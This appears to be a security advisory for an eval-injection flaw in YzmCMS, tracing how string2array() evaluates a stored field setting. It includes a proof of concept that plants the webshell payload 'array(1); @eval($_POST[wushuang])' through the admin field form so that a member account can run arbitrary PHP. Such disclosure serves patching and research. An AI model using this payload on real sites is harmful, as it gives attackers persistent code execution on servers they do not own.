This vulnerability is a eval injection.

In yzmphp/core/function/global.func.php,276-286,function string2array,if parameter \$data is not empty and \$data is begin with 'array',then @eval("\\$array = \$data;")

This file is a public function library, it is included at the beginning.

This function is dangerous, it is a eval injection, if parameter \$data="array(1);phpinfo()", it is equal to execute \$array=array(1) and phpinfo().

In application/member/controller/member content.class.php 304,call this function.

This is a private method,in the same file, many public method call this method, like init(), publish() and so on.\$val is query results, setting is a field in table yzmcms_model_field.

Example, init()

We can see,call _get_model_str() in 35,and if we don't input \$_GET['catid'],\$modelid will be 1,so we need one line data in table yzmcms_model_field,it's modelid=1 and setting is array();eval_code.

In application/admin/controller/model field.class.php,65,D('model field')->insert(\$ POST);

D is a function which can invoke database by new a class,db_mysql or db_mysqli,defined at global.func.php 813.

Only some parameter is important.

```
In 42,$_POST['modelid']=$this->modelid;,this class,it's __construct() is:
public function __construct() {
         parent::__construct();
         $this->modelid = isset($_GET['modelid']) ? intval($_GET['modelid']) : 1;
         $this->public_set_modelinfo();
}
```

So, we input \$ GET['modelid']=1 is enough.

Then,in 47 \ 48,if we input \\$_POST['fieldtype']=='datetime',our \\$_POST['setting'] = \\$ POST['dateset'],it means we can insert 'setting' directly.

But there is some limit, when insert an array, every value will be filtered by safe_data(), two methods are all in yzmphp/core/class/db_mysql.php and yzmphp/core/class/db_mysqli.php, two methods are same in two files.

The safe_data is:

```
private function safe_data($value, $chars = false){
    if(!MAGIC_QUOTES_GPC) $value = addslashes($value);
    if($chars) $value = htmlspecialchars($value);
    return $value;
}
```

It as same as a addslashes() in short, for parameter \$chars is input \$filter, false default, so ignore htmlspecialchrs.

This limit means we can not use ',",but a eval injection don't need them.


Example @eval(\$ GET[wushuang]), it don't need 'or ", but it is equal to a shell.

The above is the principle, then is a poc.

First,log in website background management system as an admin,/index.php?m=admin&c=index&a=init,then choose '模型管理'(model manage),choose '字段管理'(field manage) which '模型 ID'(model id) is 1,then click '添加字段'.fill in form by this picture.



Then modify the packet with burp suite, like the picture, modify field type to 'datetime', modify dateset to 'array(1); @eval(\$_POST[wushuang])'.




Then we need a member which can trigger this vulnerability,choose '会员管理'(member manage),choose '会员管理'(member manage),click '添加用户'(add a member),fill in the form by this picture.



Now we have finished the preparatory work,then log in as a member with guici/123456,/index.php?m=member&c=index&a=login,then click ' 在 线 投稿'(online submission),then you can eval everything by post wushuang!,/index.php?m=member&c=member_content&a=init.

Like this picture.



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